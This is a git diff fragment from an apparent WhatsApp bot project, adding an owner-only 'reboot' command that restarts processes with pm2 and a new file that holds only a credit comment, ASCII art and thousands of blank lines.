+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+const {adams}=require("../Ibrahim/adams")
+
+
+
+
+
+
+
+adams({nomCom:"reboot",categorie:"Mods",reaction:"👨🏿💼"},async(dest,z,com)=>{
+
+
+
+const{repondre,ms,dev,superUser}=com;
+
+ if(!superUser)
+ {
+ return repondre("This command is for owner only");
+ }
+
+ const {exec}=require("child_process")
+
+ repondre("*restarting ...*");
+
+ exec("pm2 restart all");
+
+
+
+
+
+
+})
diff --git a/scs/bmwbe.js b/scs/bmwbe.js
new file mode 100644
index 0000000..a3d389d
--- /dev/null
+++ b/scs/bmwbe.js
@@ -0,0 +1,15322 @@
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+ **/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
